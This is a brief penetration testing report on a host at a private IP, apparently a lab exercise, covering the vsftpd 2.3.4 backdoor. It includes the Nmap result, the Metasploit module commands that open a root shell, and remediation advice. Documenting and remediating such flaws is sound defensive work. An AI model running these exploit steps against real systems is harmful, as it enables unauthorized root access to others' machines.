Penetration Testing Report

Executive Summary

This penetration testing report provides an assessment of the vulnerabilities identified on the target system at IP address **10.138.16.150**. The assessment was conducted in a controlled environment, following professional security testing guidelines and safety protocols. The primary objective was to identify, exploit, and document security weaknesses, with a focus on **vsftpd 2.3.4**, a known vulnerable FTP service. The report includes detailed findings, proof of exploitation, and remediation recommendations.

Methodology

The penetration test followed a structured approach, including:

1. **Reconnaissance:** Network scanning using **Nmap** to identify open ports and services.
2. **Enumeration:** Gathering service banners and potential exploits.
3. **Exploitation:** Utilizing **Metasploit** to exploit vulnerable services.
4. **Post-Exploitation:** Confirming access and impact.
5. **Documentation:** Recording findings, evidence, and mitigation strategies.

Tools used:

- **Nmap** for network scanning.
- **Metasploit Framework** for exploitation.
- **Telnet & Netcat** for manual service interaction.
- **Screenshot evidence** for documentation.

Findings

1. vsftpd 2.3.4 Remote Code Execution (Critical)

Description

The target system was running **vsftpd 2.3.4**, which contains a backdoor that allows unauthorized remote command execution. Exploitation of this vulnerability results in full system compromise.

Steps to Reproduce

1. **Nmap Scan Result:**
   PORT STATE SERVICE VERSION
2. 21/tcp open ftp vsftpd 2.3.4
3. **Exploitation using Metasploit:**
   - Loaded the exploit module:
     msfconsole
   - use exploit/unix/ftp/vsftpd_234_backdoor
   - set RHOSTS 10.138.16.150
   - set RPORT 21
   - exploit
   - A shell was successfully opened, providing root access to the system.

Impact

- Unauthorized remote access.
- Full system compromise.
- Potential exfiltration of sensitive data.

Evidence

- Screenshots attached showing:
  - Nmap scan results.
  - Successful Metasploit exploitation.
  - Proof of system access.

Remediation Recommendations

1. **Upgrade vsftpd:**
   - Immediately upgrade to the latest secure version of vsftpd.
   - Remove **vsftpd 2.3.4** and replace it with a more secure FTP service.
2. **Restrict FTP Access:**
   - Disable FTP access if not required.
   - Implement IP-based restrictions to limit access.
3. **Monitor & Patch Systems:**
   - Regularly update software to mitigate known vulnerabilities.
   - Implement an intrusion detection system (IDS) to monitor FTP activity.

Conclusion

This penetration test identified **vsftpd 2.3.4** as a critical vulnerability, which was successfully exploited to gain unauthorized remote access. Immediate remediation actions are necessary to prevent potential exploitation by malicious actors. Regular security assessments and patch management practices are highly recommended to ensure system integrity and security.

Prepared by: Justin Date: March 24, 2025